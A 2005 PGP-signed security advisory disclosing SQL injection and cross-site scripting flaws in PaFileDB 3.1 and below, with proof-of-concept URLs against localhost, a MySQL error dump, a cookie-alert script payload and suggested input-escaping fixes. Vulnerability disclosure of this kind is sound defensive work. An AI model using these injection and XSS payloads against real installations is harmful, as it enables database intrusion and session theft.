-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Dcrab 's Security Advisory http://icis.digitalparadox.org/~dcrab http://www.hackerscenter.com/ Severity: Medium Title: PaFileDB Version 3.1 and below are exploitable via a XSS and a SQL injection vulnerability Date: 31/03/2005 Vendor: PhpArena Vendor Website: http://www.phparena.net/pafiledb.php Vendor Status: Contacted but no response Summary: There are, pafiledb version 3.1 and below are exploitable via a xss and a sql injection vulnerability. Proof of Concept Exploits: http://localhost/pafiledb/pafiledb.php?action=viewall&id=&start='SQL_INJECTION&sortby=name SQL INJECTION paFileDB was unable to successfully run a MySQL query. MySQL Returned this error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\'SQL_INJECTION,20' at line 1 Error number: 1064 The query that caused this error was: SELECT * FROM pafiledb_files WHERE file_pin = '0' ORDER BY file_name ASC LIMIT \'SQL_INJECTION,20 http://localhost/pafiledb/pafiledb.php?action=file&id=%22%3E%20%20%3Cscript%3Ealert(document.cookie)%3C/script%3E Pops cookie Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string() and other functions for input validation before passing user input to the mysql database, or before echoing data on the screen, would solve these problems. Author: These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com or http://icis.digitalparadox.org/~dcrab. Lookout for my soon to come out book on Secure coding with php. -----BEGIN PGP SIGNATURE----- Version: PGP 8.1 - not licensed for commercial use: www.pgp.com iQA/AwUBQkrruiZV5e8av/DUEQKjAACgxmr6hi6uMixKXaoioJ15SeyTEOgAoPr1 5+ZEj6cpzBEP0yAuv1tHlKyV =iwFo -----END PGP SIGNATURE-----